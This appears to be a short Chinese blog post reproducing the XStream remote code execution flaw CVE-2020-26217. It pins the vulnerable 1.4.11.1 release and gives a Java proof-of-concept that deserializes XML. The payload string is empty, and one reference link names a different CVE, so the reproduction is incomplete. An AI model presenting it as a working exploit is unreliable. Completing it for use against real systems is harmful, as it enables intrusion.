[CVE-2020-26217] XStream 远程代码执行漏洞复现

image.png

0x01 环境搭建

通过maven安装XStream：

    
        
        
            com.thoughtworks.xstream
            xstream
            1.4.11.1
        
    

0x02 漏洞复现

PoC:

import com.thoughtworks.xstream.XStream;


public class xstreamdemo {
    public static void main (String[] args){
        XStream xstream = new XStream();
        String xml = "";
        xstream.fromXML(xml);
    }
}

image.png

0x03 参考

https://x-stream.github.io/CVE-2017-7957.html
https://xz.aliyun.com/t/8526